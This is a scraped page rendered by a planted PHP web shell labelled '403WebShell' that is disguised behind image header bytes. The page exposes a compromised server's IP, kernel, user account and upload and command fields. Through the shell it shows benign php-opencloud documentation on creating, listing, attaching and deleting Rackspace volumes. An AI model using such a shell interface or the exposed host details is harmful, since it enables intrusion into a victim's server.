����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 3.145.179.147
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/builderbox/public_html/vendor/rackspace/php-opencloud/doc/services/volume/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/builderbox/public_html/vendor/rackspace/php-opencloud/doc/services/volume/volumes.rst
Volumes
=======

Create a volume
---------------

To create a volume, you must specify its size (in gigabytes). All other
parameters are optional:

.. code-block:: php

  // Create instance of OpenCloud\Volume\Resource\Volume
  $volume = $service->volume();

  $volume->create(array(
      'size'                => 200,
      'volume_type'         => $service->volumeType('<volume_type_id>'),
      'display_name'        => 'My Volume',
      'display_description' => 'Used for large object storage'
  ));

`Get the executable PHP script for this example <https://raw.githubusercontent.com/rackspace/php-opencloud/master/samples/Volume/create-volume.php>`_


List volumes
------------

.. code-block:: php

  $volumes = $service->volumeList();

  foreach ($volumes as $volume) {
      /** @param $volumeType OpenCloud\Volume\Resource\Volume */
  }

`Get the executable PHP script for this example <https://raw.githubusercontent.com/rackspace/php-opencloud/master/samples/Volume/list-volumes.php>`_


Get details on a single volume
------------------------------

If you specify an ID on the ``volume()`` method, it retrieves
information on the specified volume:

.. code-block:: php

  $volume = $dallas->volume('<volume_id>');
  echo $volume->size;

`Get the executable PHP script for this example <https://raw.githubusercontent.com/rackspace/php-opencloud/master/samples/Volume/get-volume.php>`_


To delete a volume
------------------

.. code-block:: php

  $volume->delete();

`Get the executable PHP script for this example <https://raw.githubusercontent.com/rackspace/php-opencloud/master/samples/Volume/delete-volume.php>`_


Attach a volume to a server
---------------------------

.. code-block:: php

  // retrieve server
  $computeService = $client->computeService('{catalogName}', '{region}');
  $server = $computeService->server('{serverId}');

  // attach volume
  $server->attachVolume($volume, '{mountPoint}')

The ``{mountPoint}`` is the location on the server on which to mount
the volume (usually ``/dev/xvhdd`` or similar). You can also supply
``'auto'`` as the mount point, in which case the mount point will be
automatically selected for you. ``auto`` is the default value for
``{mountPoint}``, so you do not actually need to supply anything for
that parameter.


Detach a volume from a server
-----------------------------

.. code-block:: php

  $server->detachVolume($volume);

Youez - 2016 - github.com/yon3zu
LinuXploit